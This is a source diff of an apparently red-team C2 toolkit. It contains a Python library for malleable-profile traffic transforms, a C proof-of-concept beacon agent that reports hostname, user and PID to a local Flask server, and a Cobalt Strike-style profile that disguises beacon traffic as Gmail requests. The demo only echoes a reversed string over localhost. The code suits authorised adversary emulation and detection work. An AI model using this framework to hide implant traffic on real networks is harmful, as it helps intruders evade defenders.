elif transform.type == TransformType.BASE64URL:
|
||||
# Add padding if needed
|
||||
padding = (4 - len(data) % 4) % 4
|
||||
data = data + b'=' * padding
|
||||
try:
|
||||
return base64.urlsafe_b64decode(data)
|
||||
except binascii.Error as exc:
|
||||
raise ProfileMismatchError("transform", f"base64url decode failed: {exc}") from exc
|
||||
|
||||
elif transform.type == TransformType.NETBIOS:
|
||||
return TransformEngine._netbios_decode(data, b'a')
|
||||
|
||||
elif transform.type == TransformType.NETBIOSU:
|
||||
return TransformEngine._netbios_decode(data, b'A')
|
||||
|
||||
elif transform.type == TransformType.MASK:
|
||||
return TransformEngine._mask_decode(data)
|
||||
|
||||
elif transform.type == TransformType.PREPEND:
|
||||
if transform.argument:
|
||||
arg = TransformEngine._decode_string(transform.argument)
|
||||
if data.startswith(arg):
|
||||
return data[len(arg):]
|
||||
raise ProfileMismatchError("transform", "prepend mismatch")
|
||||
return data
|
||||
|
||||
elif transform.type == TransformType.APPEND:
|
||||
if transform.argument:
|
||||
arg = TransformEngine._decode_string(transform.argument)
|
||||
if data.endswith(arg):
|
||||
return data[:-len(arg)]
|
||||
raise ProfileMismatchError("transform", "append mismatch")
|
||||
return data
|
||||
|
||||
return data
|
||||
|
||||
@staticmethod
|
||||
def apply_chain(data: bytes, chain: TransformChain) -> bytes:
|
||||
"""Apply complete transformation chain (forward)"""
|
||||
result = data
|
||||
for transform in chain.transforms:
|
||||
result = TransformEngine.apply_transform(result, transform)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def reverse_chain(data: bytes, chain: TransformChain) -> bytes:
|
||||
"""Reverse complete transformation chain (backward)"""
|
||||
result = data
|
||||
# Apply transforms in REVERSE order
|
||||
for transform in reversed(chain.transforms):
|
||||
result = TransformEngine.reverse_transform(result, transform)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def _netbios_encode(data: bytes, base: bytes) -> bytes:
|
||||
"""NetBIOS encoding"""
|
||||
base_char = base[0]
|
||||
result = bytearray()
|
||||
for byte in data:
|
||||
result.append(base_char + (byte >> 4))
|
||||
result.append(base_char + (byte & 0x0F))
|
||||
return bytes(result)
|
||||
|
||||
@staticmethod
|
||||
def _netbios_decode(data: bytes, base: bytes) -> bytes:
|
||||
"""NetBIOS decoding"""
|
||||
base_char = base[0]
|
||||
result = bytearray()
|
||||
for i in range(0, len(data), 2):
|
||||
if i + 1 < len(data):
|
||||
high = data[i] - base_char
|
||||
low = data[i + 1] - base_char
|
||||
result.append((high << 4) | low)
|
||||
return bytes(result)
|
||||
|
||||
@staticmethod
|
||||
def _mask_encode(data: bytes) -> bytes:
|
||||
"""XOR mask encoding with random key"""
|
||||
import os
|
||||
key = os.urandom(4)
|
||||
masked = bytearray()
|
||||
for i, byte in enumerate(data):
|
||||
masked.append(byte ^ key[i % 4])
|
||||
return key + bytes(masked)
|
||||
|
||||
@staticmethod
|
||||
def _mask_decode(data: bytes) -> bytes:
|
||||
"""XOR mask decoding"""
|
||||
if len(data) < 4:
|
||||
raise ProfileMismatchError("transform", "mask decode expects 4-byte key")
|
||||
key = data[:4]
|
||||
masked = data[4:]
|
||||
result = bytearray()
|
||||
for i, byte in enumerate(masked):
|
||||
result.append(byte ^ key[i % 4])
|
||||
return bytes(result)
|
||||
|
||||
@staticmethod
|
||||
def _decode_string(s: str) -> bytes:
|
||||
"""Decode string with escape sequences"""
|
||||
result = bytearray()
|
||||
i = 0
|
||||
while i < len(s):
|
||||
if s[i] == '\\' and i + 1 < len(s):
|
||||
next_char = s[i + 1]
|
||||
if next_char == 'n':
|
||||
result.append(ord('\n'))
|
||||
i += 2
|
||||
elif next_char == 'r':
|
||||
result.append(ord('\r'))
|
||||
i += 2
|
||||
elif next_char == 't':
|
||||
result.append(ord('\t'))
|
||||
i += 2
|
||||
elif next_char == '\\':
|
||||
result.append(ord('\\'))
|
||||
i += 2
|
||||
elif next_char == 'x' and i + 3 < len(s):
|
||||
hex_str = s[i+2:i+4]
|
||||
result.append(int(hex_str, 16))
|
||||
i += 4
|
||||
elif next_char == 'u' and i + 5 < len(s):
|
||||
hex_str = s[i+2:i+6]
|
||||
codepoint = int(hex_str, 16)
|
||||
result.extend(chr(codepoint).encode('utf-8'))
|
||||
i += 6
|
||||
else:
|
||||
result.append(ord(next_char))
|
||||
i += 2
|
||||
else:
|
||||
result.append(ord(s[i]))
|
||||
i += 1
|
||||
return bytes(result)
|
||||
|
||||
|
||||
# =========================================================================
|
||||
# SERVER EXTRACTION FUNCTIONS
|
||||
# =========================================================================
|
||||
|
||||
class MalleableServer:
|
||||
"""Server-side extraction and response building"""
|
||||
|
||||
def __init__(self, profile: MalleableProfile):
|
||||
self.profile = profile
|
||||
self.engine = TransformEngine()
|
||||
|
||||
def extract_metadata(self, request: HttpRequest, variant: str = "default") -> bytes:
|
||||
"""Extract metadata from HTTP GET request"""
|
||||
transaction = self.profile.http_get_transactions.get(variant)
|
||||
if not transaction or not transaction.client.metadata:
|
||||
raise ValueError(f"No metadata chain for variant {variant}")
|
||||
|
||||
if not any(request.path.startswith(uri) for uri in transaction.uris):
|
||||
raise ProfileMismatchError(
|
||||
"uri",
|
||||
f"request path '{request.path}' does not match any http-get uri"
|
||||
)
|
||||
|
||||
chain = transaction.client.metadata
|
||||
data = self._extract_from_request(request, chain.termination, transaction.uris)
|
||||
return self.engine.reverse_chain(data, chain)
|
||||
|
||||
def extract_session_id(self, request: HttpRequest, variant: str = "default") -> bytes:
|
||||
"""Extract session ID from HTTP POST request"""
|
||||
transaction = self.profile.http_post_transactions.get(variant)
|
||||
if not transaction or not transaction.client.id:
|
||||
raise ValueError(f"No id chain for variant {variant}")
|
||||
|
||||
if not any(request.path.startswith(uri) for uri in transaction.uris):
|
||||
raise ProfileMismatchError(
|
||||
"uri",
|
||||
f"request path '{request.path}' does not match any http-post uri"
|
||||
)
|
||||
|
||||
chain = transaction.client.id
|
||||
data = self._extract_from_request(request, chain.termination, transaction.uris)
|
||||
return self.engine.reverse_chain(data, chain)
|
||||
|
||||
def extract_output(self, request: HttpRequest, variant: str = "default") -> bytes:
|
||||
"""Extract output from HTTP POST request"""
|
||||
transaction = self.profile.http_post_transactions.get(variant)
|
||||
if not transaction or not transaction.client.output:
|
||||
raise ValueError(f"No output chain for variant {variant}")
|
||||
|
||||
if not any(request.path.startswith(uri) for uri in transaction.uris):
|
||||
raise ProfileMismatchError(
|
||||
"uri",
|
||||
f"request path '{request.path}' does not match any http-post uri"
|
||||
)
|
||||
|
||||
chain = transaction.client.output
|
||||
data = self._extract_from_request(request, chain.termination, transaction.uris)
|
||||
return self.engine.reverse_chain(data, chain)
|
||||
|
||||
def build_get_response(self, data: bytes, variant: str = "default") -> HttpResponse:
|
||||
"""Build HTTP response with tasks (response to GET)"""
|
||||
transaction = self.profile.http_get_transactions.get(variant)
|
||||
if not transaction:
|
||||
raise ValueError(f"No transaction for variant {variant}")
|
||||
|
||||
headers = dict(transaction.server.headers)
|
||||
body = b''
|
||||
|
||||
if transaction.server.output:
|
||||
transformed = self.engine.apply_chain(data, transaction.server.output)
|
||||
if transaction.server.output.termination.type == TerminationType.PRINT:
|
||||
body = transformed
|
||||
elif transaction.server.output.termination.type == TerminationType.HEADER:
|
||||
headers[transaction.server.output.termination.target] = transformed.decode('utf-8', errors='ignore')
|
||||
|
||||
return HttpResponse(status_code=200, headers=headers, body=body)
|
||||
|
||||
def build_post_response(self, data: bytes = b'', variant: str = "default") -> HttpResponse:
|
||||
"""Build HTTP response for POST"""
|
||||
transaction = self.profile.http_post_transactions.get(variant)
|
||||
if not transaction:
|
||||
raise ValueError(f"No transaction for variant {variant}")
|
||||
|
||||
headers = dict(transaction.server.headers)
|
||||
body = b''
|
||||
|
||||
if transaction.server.output and data:
|
||||
transformed = self.engine.apply_chain(data, transaction.server.output)
|
||||
if transaction.server.output.termination.type == TerminationType.PRINT:
|
||||
body = transformed
|
||||
|
||||
return HttpResponse(status_code=200, headers=headers, body=body)
|
||||
|
||||
def _extract_from_request(
|
||||
self,
|
||||
request: HttpRequest,
|
||||
termination: Termination,
|
||||
uris: Optional[List[str]] = None
|
||||
) -> bytes:
|
||||
"""Extract data from HTTP request based on termination type"""
|
||||
if termination.type == TerminationType.HEADER:
|
||||
value = request.headers.get(termination.target, '')
|
||||
return value.encode('utf-8')
|
||||
|
||||
elif termination.type == TerminationType.PARAMETER:
|
||||
value = request.query.get(termination.target, '')
|
||||
return value.encode('utf-8')
|
||||
|
||||
elif termination.type == TerminationType.PRINT:
|
||||
return request.body
|
||||
|
||||
elif termination.type == TerminationType.URI_APPEND:
|
||||
if not uris:
|
||||
raise ProfileMismatchError("uri", "uri-append used but no uris configured")
|
||||
for base in uris:
|
||||
if request.path.startswith(base):
|
||||
suffix = request.path[len(base):]
|
||||
return suffix.encode('utf-8')
|
||||
raise ProfileMismatchError(
|
||||
"uri",
|
||||
f"request path '{request.path}' does not match any uri-append base"
|
||||
)
|
||||
|
||||
return b''
|
||||
|
||||
|
||||
# =========================================================================
|
||||
# HELPER FUNCTIONS
|
||||
# =========================================================================
|
||||
|
||||
def parse_http_request(raw_request: str) -> HttpRequest:
|
||||
"""Parse raw HTTP request string"""
|
||||
lines = raw_request.split('\r\n')
|
||||
if not lines:
|
||||
raise ValueError("Empty request")
|
||||
|
||||
# Parse request line
|
||||
request_line = lines[0].split(' ')
|
||||
if len(request_line) < 3:
|
||||
raise ValueError("Invalid request line")
|
||||
|
||||
method = request_line[0]
|
||||
full_uri = request_line[1]
|
||||
|
||||
# Parse URI and query string
|
||||
if '?' in full_uri:
|
||||
path, query_string = full_uri.split('?', 1)
|
||||
query = dict(param.split('=', 1) for param in query_string.split('&') if '=' in param)
|
||||
else:
|
||||
path = full_uri
|
||||
query = {}
|
||||
|
||||
# Parse headers
|
||||
headers = {}
|
||||
i = 1
|
||||
while i < len(lines) and lines[i]:
|
||||
if ':' in lines[i]:
|
||||
key, value = lines[i].split(':', 1)
|
||||
headers[key.strip()] = value.strip()
|
||||
i += 1
|
||||
|
||||
# Body is everything after blank line
|
||||
body = b''
|
||||
if i < len(lines):
|
||||
body = '\r\n'.join(lines[i+1:]).encode('utf-8')
|
||||
|
||||
return HttpRequest(
|
||||
method=method,
|
||||
uri=full_uri,
|
||||
path=path,
|
||||
query=query,
|
||||
headers=headers,
|
||||
body=body
|
||||
)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# Example usage
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python openmalleable.py <profile_path>")
|
||||
sys.exit(1)
|
||||
|
||||
# User handles file I/O, library only accepts string
|
||||
with open(sys.argv[1], 'r') as f:
|
||||
profile_content = f.read()
|
||||
|
||||
profile = MalleableProfile(profile_content)
|
||||
print(f"Loaded profile: {profile.profile_name}")
|
||||
print(f"HTTP-GET transactions: {list(profile.http_get_transactions.keys())}")
|
||||
print(f"HTTP-POST transactions: {list(profile.http_post_transactions.keys())}")
|
||||
@@ -0,0 +1,253 @@
|
||||
/**
|
||||
* Ping Pong PoC Agent
|
||||
*
|
||||
* Usage:
|
||||
* pingpong_agent.exe <profile.profile>
|
||||
*
|
||||
* This agent performs:
|
||||
* 1) GET check-in (send metadata, receive tasks)
|
||||
* 2) Execute received command locally
|
||||
* 3) POST output (send task output back to server)
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include "openmalleable.h"
|
||||
|
||||
static void print_banner(const char* title) {
|
||||
printf("============================================================\n");
|
||||
printf("%s\n", title);
|
||||
printf("============================================================\n");
|
||||
}
|
||||
|
||||
static void print_bytes_ascii(const char* label, const uint8_t* data, size_t len) {
|
||||
printf("%s (%zu bytes): ", label, len);
|
||||
if (data && len > 0) {
|
||||
printf("\"%.*s\"\n", (int)len, (const char*)data);
|
||||
} else {
|
||||
printf("(empty)\n");
|
||||
}
|
||||
}
|
||||
|
||||
static void get_computer_info(char* buffer, size_t bufsize) {
|
||||
char hostname[256] = "UNKNOWN";
|
||||
|
||||
#ifdef _WIN32
|
||||
DWORD size = sizeof(hostname);
|
||||
GetComputerNameA(hostname, &size);
|
||||
char username[256] = "UNKNOWN";
|
||||
size = sizeof(username);
|
||||
GetUserNameA(username, &size);
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
|
||||
snprintf(buffer, bufsize,
|
||||
"Computer=%s User=%s PID=%lu OS=Windows Arch=x64",
|
||||
hostname, username, pid);
|
||||
#else
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
snprintf(buffer, bufsize,
|
||||
"Computer=%s User=%s PID=%d OS=Linux Arch=x64",
|
||||
hostname, getenv("USER") ? getenv("USER") : "unknown", getpid());
|
||||
#endif
|
||||
}
|
||||
|
||||
static void reverse_string(char* str) {
|
||||
if (!str) return;
|
||||
|
||||
size_t len = strlen(str);
|
||||
for (size_t i = 0; i < len / 2; i++) {
|
||||
char temp = str[i];
|
||||
str[i] = str[len - 1 - i];
|
||||
str[len - 1 - i] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
static void trim_whitespace(char* str) {
|
||||
if (!str) return;
|
||||
|
||||
// Trim trailing whitespace
|
||||
size_t len = strlen(str);
|
||||
while (len > 0 && (str[len - 1] == ' ' || str[len - 1] == '\t' ||
|
||||
str[len - 1] == '\r' || str[len - 1] == '\n')) {
|
||||
str[--len] = '\0';
|
||||
}
|
||||
|
||||
// Trim leading whitespace
|
||||
char* start = str;
|
||||
while (*start && (*start == ' ' || *start == '\t' ||
|
||||
*start == '\r' || *start == '\n')) {
|
||||
start++;
|
||||
}
|
||||
|
||||
if (start != str) {
|
||||
memmove(str, start, strlen(start) + 1);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <profile.profile>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
const char* profile_path = argv[1];
|
||||
const char* host = "127.0.0.1";
|
||||
int port = 8080;
|
||||
int use_https = 0;
|
||||
|
||||
srand((unsigned int)time(NULL));
|
||||
|
||||
print_banner("Ping Pong PoC Agent");
|
||||
|
||||
/* User handles file I/O - library only accepts strings */
|
||||
printf("[Agent] Reading profile file: %s\n", profile_path);
|
||||
#ifdef _MSC_VER
|
||||
FILE* f = NULL;
|
||||
if (fopen_s(&f, profile_path, "r") != 0) {
|
||||
f = NULL;
|
||||
}
|
||||
#else
|
||||
FILE* f = fopen(profile_path, "r");
|
||||
#endif
|
||||
if (!f) {
|
||||
fprintf(stderr, "[Agent] Failed to open profile file\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
fseek(f, 0, SEEK_END);
|
||||
long file_size = ftell(f);
|
||||
fseek(f, 0, SEEK_SET);
|
||||
|
||||
char* profile_content = (char*)malloc(file_size + 1);
|
||||
if (!profile_content) {
|
||||
fprintf(stderr, "[Agent] Memory allocation failed\n");
|
||||
fclose(f);
|
||||
return 1;
|
||||
}
|
||||
|
||||
fread(profile_content, 1, file_size, f);
|
||||
profile_content[file_size] = '\0';
|
||||
fclose(f);
|
||||
|
||||
printf("[Agent] Parsing profile from memory...\n");
|
||||
malleable_profile_t* profile = malleable_profile_parse(profile_content);
|
||||
free(profile_content); /* Done with file content */
|
||||
|
||||
if (!profile) {
|
||||
fprintf(stderr, "[Agent] Failed to parse profile\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[Agent] Profile loaded: %s\n", profile->profile_name ? profile->profile_name : "unnamed");
|
||||
printf("[Agent] User-Agent: %s\n", profile->useragent ? profile->useragent : "(none)");
|
||||
printf("\n");
|
||||
|
||||
/* Generate realistic beacon metadata */
|
||||
char metadata_buf[512];
|
||||
get_computer_info(metadata_buf, sizeof(metadata_buf));
|
||||
|
||||
/* Add timestamp */
|
||||
time_t now = time(NULL);
|
||||
char final_metadata[1024];
|
||||
snprintf(final_metadata, sizeof(final_metadata),
|
||||
"BEACON-CHECKIN: %s Timestamp=%ld", metadata_buf, (long)now);
|
||||
|
||||
uint8_t* metadata = (uint8_t*)final_metadata;
|
||||
size_t metadata_len = strlen(final_metadata);
|
||||
|
||||
printf("[Agent] ===== GET: Requesting tasks from server =====\n");
|
||||
print_bytes_ascii("[Agent] Metadata", metadata, metadata_len);
|
||||
|
||||
uint8_t* tasks = NULL;
|
||||
size_t tasks_len = 0;
|
||||
malleable_error_t err = malleable_callback_get(
|
||||
profile,
|
||||
NULL,
|
||||
host,
|
||||
port,
|
||||
use_https,
|
||||
metadata,
|
||||
metadata_len,
|
||||
&tasks,
|
||||
&tasks_len
|
||||
);
|
||||
|
||||
if (err != MALLEABLE_SUCCESS) {
|
||||
fprintf(stderr, "[Agent] GET callback failed: %s\n", malleable_error_string(err));
|
||||
malleable_profile_free(profile);
|
||||
return 1;
|
||||
}
|
||||
|
||||
print_bytes_ascii("[Agent] Received task", tasks, tasks_len);
|
||||
|
||||
/* Treat the task as the raw string to reverse */
|
||||
char task_str[1024];
|
||||
snprintf(task_str, sizeof(task_str), "%.*s", (int)tasks_len, (char*)tasks);
|
||||
trim_whitespace(task_str);
|
||||
printf("[Agent] Task string: \"%s\"\n", task_str);
|
||||
|
||||
reverse_string(task_str);
|
||||
printf("[Agent] Reversed task: \"%s\"\n", task_str);
|
||||
|
||||
/* Generate random session ID */
|
||||
int session_num = 10000 + (rand() % 90000);
|
||||
char session_id_buf[32];
|
||||
snprintf(session_id_buf, sizeof(session_id_buf), "%d", session_num);
|
||||
uint8_t* session_id = (uint8_t*)session_id_buf;
|
||||
size_t session_id_len = strlen(session_id_buf);
|
||||
|
||||
/* Prepare output data with reversed string */
|
||||
char output_buf[8192];
|
||||
snprintf(output_buf, sizeof(output_buf),
|
||||
"TASK-RESULT: ReversedOutput=%s", task_str);
|
||||
uint8_t* output = (uint8_t*)output_buf;
|
||||
size_t output_len = strlen(output_buf);
|
||||
|
||||
printf("\n[Agent] ===== POST: Sending task results to server =====\n");
|
||||
print_bytes_ascii("[Agent] Session ID", session_id, session_id_len);
|
||||
print_bytes_ascii("[Agent] Task output", output, output_len);
|
||||
|
||||
uint8_t* response = NULL;
|
||||
size_t response_len = 0;
|
||||
err = malleable_callback_post(
|
||||
profile,
|
||||
NULL,
|
||||
host,
|
||||
port,
|
||||
use_https,
|
||||
session_id,
|
||||
session_id_len,
|
||||
output,
|
||||
output_len,
|
||||
&response,
|
||||
&response_len
|
||||
);
|
||||
|
||||
if (err != MALLEABLE_SUCCESS) {
|
||||
fprintf(stderr, "[Agent] POST callback failed: %s\n", malleable_error_string(err));
|
||||
free(tasks);
|
||||
malleable_profile_free(profile);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (response && response_len > 0) {
|
||||
print_bytes_ascii("[Agent] Server confirmation", response, response_len);
|
||||
free(response);
|
||||
} else {
|
||||
printf("[Agent] No confirmation data (normal for POST responses)\n");
|
||||
}
|
||||
|
||||
free(tasks);
|
||||
malleable_profile_free(profile);
|
||||
printf("\n[Agent] ===== Ping pong complete =====\n");
|
||||
printf("[Agent] Successfully executed server task and reported results!\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
|
||||
"""
|
||||
Ping Pong PoC Server (Flask)
|
||||
"""
|
||||
|
||||
import os
|
||||
import random
|
||||
import string
|
||||
import sys
|
||||
from http import HTTPStatus
|
||||
from typing import Dict
|
||||
|
||||
from flask import Flask, Response, request
|
||||
|
||||
# Add include directory to path to import malleable
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "include"))
|
||||
|
||||
from openmalleable import MalleableProfile, MalleableServer, HttpRequest, ProfileMismatchError
|
||||
|
||||
if hasattr(sys.stdout, "reconfigure"):
|
||||
sys.stdout.reconfigure(line_buffering=True)
|
||||
|
||||
app = Flask(__name__)
|
||||
_COLOR_BLUE = "\033[34m"
|
||||
_COLOR_RED = "\033[31m"
|
||||
_COLOR_RESET = "\033[0m"
|
||||
_malleable_server: MalleableServer | None = None
|
||||
_current_challenge: str | None = None
|
||||
|
||||
|
||||
def print_banner(title: str) -> None:
|
||||
print("=" * 60)
|
||||
print(title)
|
||||
print("=" * 60)
|
||||
|
||||
|
||||
def _log(message: str) -> None:
|
||||
print(message, flush=True)
|
||||
|
||||
|
||||
def _log_colored(message: str, color: str) -> None:
|
||||
if getattr(sys.stdout, "isatty", lambda: False)():
|
||||
_log(f"{color}{message}{_COLOR_RESET}")
|
||||
else:
|
||||
_log(message)
|
||||
|
||||
|
||||
def _format_request_text(http_request: HttpRequest) -> str:
|
||||
request_line = f"{http_request.method} {request.full_path or request.path} HTTP/1.1"
|
||||
lines = [request_line]
|
||||
for key, value in request.headers.items():
|
||||
lines.append(f"{key}: {value}")
|
||||
lines.append("")
|
||||
if http_request.body:
|
||||
body_text = http_request.body.decode("utf-8", errors="replace")
|
||||
lines.append(body_text)
|
||||
return "\r\n".join(lines)
|
||||
|
||||
|
||||
def _format_response_text(status_code: int, headers: Dict[str, str], body: bytes) -> str:
|
||||
reason = HTTPStatus(status_code).phrase if status_code in HTTPStatus._value2member_map_ else ""
|
||||
status_line = f"HTTP/1.1 {status_code} {reason}".rstrip()
|
||||
lines = [status_line, f"Content-Length: {len(body) if body else 0}"]
|
||||
for key, value in headers.items():
|
||||
lines.append(f"{key}: {value}")
|
||||
lines.append("")
|
||||
if body:
|
||||
body_text = body.decode("utf-8", errors="replace")
|
||||
lines.append(body_text)
|
||||
return "\r\n".join(lines)
|
||||
|
||||
|
||||
def _to_http_request() -> HttpRequest:
|
||||
query_dict = {k: v for k, v in request.args.items()}
|
||||
headers_dict = {k: v for k, v in request.headers.items()}
|
||||
body = request.get_data(cache=True) or b""
|
||||
host = headers_dict.get("Host", "127.0.0.1:8080")
|
||||
uri = f"http://{host}{request.full_path or request.path}"
|
||||
|
||||
return HttpRequest(
|
||||
method=request.method,
|
||||
uri=uri,
|
||||
path=request.path,
|
||||
query=query_dict,
|
||||
headers=headers_dict,
|
||||
body=body,
|
||||
)
|
||||
|
||||
|
||||
def _send_response(status_code: int, headers: Dict[str, str], body: bytes) -> Response:
|
||||
response = Response(body or b"", status=status_code)
|
||||
response.headers["Content-Length"] = str(len(body) if body else 0)
|
||||
for key, value in headers.items():
|
||||
response.headers[str(key)] = str(value)
|
||||
return response
|
||||
|
||||
|
||||
@app.route("/", defaults={"path": ""}, methods=["GET", "POST"])
|
||||
@app.route("/<path:path>", methods=["GET", "POST"])
|
||||
def handle(path: str):
|
||||
global _current_challenge
|
||||
if _malleable_server is None:
|
||||
_log("[Server] Malleable server not initialized.")
|
||||
return _send_response(500, {}, b"")
|
||||
|
||||
_log(f"\n[DEBUG] {request.method} request received!",)
|
||||
http_request = _to_http_request()
|
||||
_log_colored("[DEBUG] Raw HTTP request:\n" + _format_request_text(http_request), _COLOR_BLUE)
|
||||
|
||||
_log("\n" + "=" * 60)
|
||||
_log(f"[Server] Received {request.method} {http_request.path}")
|
||||
_log("=" * 60)
|
||||
|
||||
try:
|
||||
if request.method == "GET":
|
||||
metadata = _malleable_server.extract_metadata(http_request, "default")
|
||||
_log(f"[Server] Extracted metadata ({len(metadata)} bytes):")
|
||||
_log(f"[Server] {metadata.decode('utf-8', errors='ignore')}")
|
||||
|
||||
random_challenge = ''.join(random.choices(string.ascii_letters + string.digits, k=32))
|
||||
_current_challenge = random_challenge
|
||||
|
||||
tasks = random_challenge.encode('utf-8')
|
||||
|
||||
_log(f"[Server] Generated challenge: {random_challenge}")
|
||||
_log(f"[Server] Sending task ({len(tasks)} bytes):")
|
||||
_log(f"[Server] \"{random_challenge}\"")
|
||||
|
||||
response_obj = _malleable_server.build_get_response(tasks, "default")
|
||||
response_headers = {k: v for k, v in response_obj.headers.items()}
|
||||
body = response_obj.body or b""
|
||||
_log_colored(
|
||||
"[DEBUG] Raw HTTP response:\n" + _format_response_text(response_obj.status_code, response_headers, body),
|
||||
_COLOR_RED,
|
||||
)
|
||||
return _send_response(response_obj.status_code, response_headers, body)
|
||||
|
||||
session_id = _malleable_server.extract_session_id(http_request, "default")
|
||||
output = _malleable_server.extract_output(http_request, "default")
|
||||
|
||||
_log(f"[Server] Extracted session ID ({len(session_id)} bytes):")
|
||||
_log(f"[Server] {session_id.decode('utf-8', errors='ignore')}")
|
||||
_log(f"[Server] Extracted task output ({len(output)} bytes):")
|
||||
_log(f"[Server] {output.decode('utf-8', errors='ignore')}")
|
||||
|
||||
output_str = output.decode('utf-8', errors='ignore')
|
||||
|
||||
if _current_challenge:
|
||||
reversed_challenge = _current_challenge[::-1]
|
||||
_log(f"[Server] Original challenge: {_current_challenge}")
|
||||
_log(f"[Server] Expected reversed: {reversed_challenge}")
|
||||
|
||||
if reversed_challenge in output_str:
|
||||
_log(f"[Server] SUCCESS! Verified reversed challenge in output")
|
||||
confirmation = (
|
||||
"CONFIRMED: Task completed successfully! Received reversed string correctly"
|
||||
).encode('utf-8')
|
||||
else:
|
||||
_log(f"[Server] WARNING: Reversed challenge '{reversed_challenge}' not found in output")
|
||||
_log(f"[Server] Received: {output_str}")
|
||||
confirmation = b"CONFIRMED: Output received (verification failed)"
|
||||
else:
|
||||
_log(f"[Server] WARNING: No challenge set")
|
||||
confirmation = b"CONFIRMED: Output received (no challenge)"
|
||||
|
||||
_log(f"[Server] Sending confirmation ({len(confirmation)} bytes)")
|
||||
|
||||
response_obj = _malleable_server.build_post_response(confirmation, "default")
|
||||
response_headers = {k: v for k, v in response_obj.headers.items()}
|
||||
body = response_obj.body or b""
|
||||
_log_colored(
|
||||
"[DEBUG] Raw HTTP response:\n" + _format_response_text(response_obj.status_code, response_headers, body),
|
||||
_COLOR_RED,
|
||||
)
|
||||
return _send_response(response_obj.status_code, response_headers, body)
|
||||
except ProfileMismatchError as exc:
|
||||
_log(f"[Server] UNKNOWN REQUEST DID NOT MATCH PROFILE! {exc}")
|
||||
_log_colored("[DEBUG] Raw HTTP response:\nHTTP/1.1 404 Not Found\r\n\r\n", _COLOR_RED)
|
||||
return _send_response(404, {}, b"")
|
||||
except Exception as exc:
|
||||
_log(f"[Server] Error handling {request.method}: {exc}")
|
||||
import traceback
|
||||
|
||||
traceback.print_exc()
|
||||
_log_colored("[DEBUG] Raw HTTP response:\nHTTP/1.1 500 Internal Server Error\r\n\r\n", _COLOR_RED)
|
||||
return _send_response(500, {}, b"")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
global _malleable_server
|
||||
if len(sys.argv) != 2:
|
||||
print("Usage: python pingpong_server.py <profile.profile>")
|
||||
sys.exit(1)
|
||||
|
||||
profile_path = sys.argv[1]
|
||||
print_banner("Ping Pong PoC Server")
|
||||
print(f"[Server] Reading profile file: {profile_path}")
|
||||
|
||||
with open(profile_path, 'r') as f:
|
||||
profile_content = f.read()
|
||||
|
||||
print(f"[Server] Parsing profile from memory...")
|
||||
profile = MalleableProfile(profile_content)
|
||||
_malleable_server = MalleableServer(profile)
|
||||
|
||||
print(f"[Server] Profile loaded: {profile.profile_name}")
|
||||
print(f"[Server] User-Agent: {profile.useragent}")
|
||||
print("[Server] Listening on http://127.0.0.1:8080")
|
||||
print("[Server] Waiting for agent check-in...")
|
||||
|
||||
app.run(host="127.0.0.1", port=8080, debug=False, use_reloader=False)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,108 @@
|
||||
# Make requests look like GMail web requests
|
||||
#
|
||||
# Author: @ChrisTruncer
|
||||
|
||||
https-certificate {
|
||||
set CN "gmail.com";
|
||||
set O "Google GMail";
|
||||
set C "US";
|
||||
set L "Mountain View";
|
||||
set OU "Google Mail";
|
||||
set ST "CA";
|
||||
set validity "365";
|
||||
}
|
||||
|
||||
set sleeptime "60000";
|
||||
set pipename "interprocess_##";
|
||||
set spawnto "userinit.exe";
|
||||
set jitter "15";
|
||||
set dns_idle "8.8.4.4";
|
||||
|
||||
http-get {
|
||||
set uri "/_/scs/mail-static/_/js/";
|
||||
client {
|
||||
|
||||
metadata {
|
||||
base64;
|
||||
prepend "OSID=";
|
||||
header "Cookie";
|
||||
}
|
||||
|
||||
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
|
||||
header "Accept-Language" "en-US,en;q=0.5";
|
||||
header "Accept-Encoding" "gzip, deflate";
|
||||
header "DNT" "1";
|
||||
}
|
||||
|
||||
server {
|
||||
header "X-Content-Type-Options" "nosniff";
|
||||
header "X-Frame-Options" "SAMEORIGIN";
|
||||
header "Cache-Control" "public, max-age=31536000";
|
||||
header "X-XSS-Protection" "1; mode=block";
|
||||
header "Server" "GSE";
|
||||
header "Alternate-Protocol" "443:quic,p=1";
|
||||
|
||||
output{
|
||||
prepend "try(";
|
||||
prepend "O(L.Oa(),\"sy580\")";
|
||||
prepend "N(L.Oa(),\"sy580\");P(L.Oa(),\"sy580\");";
|
||||
prepend ")catch(e)(_DumpException(e))";
|
||||
prepend "try(";
|
||||
prepend "O(L.Oa(),\"sy558\");";
|
||||
prepend "N(L.Oa(),\"sy558\");P(L.Oa(),\"sy558\");";
|
||||
prepend ")catch(e)(_DumpException(e))";
|
||||
prepend "try(";
|
||||
|
||||
append "var f2=function(a)(a=a.wa;return\"application/chromium-bookmark-folder\"==a||\"application/chromium-root-folder\"==a||\"application/vnd.google-apps.folder\"==a||\"application/vnd.google-apps.photoalbum\"==a||\"application/vnd.google-apps.rollupphotoalbum\"==a)";
|
||||
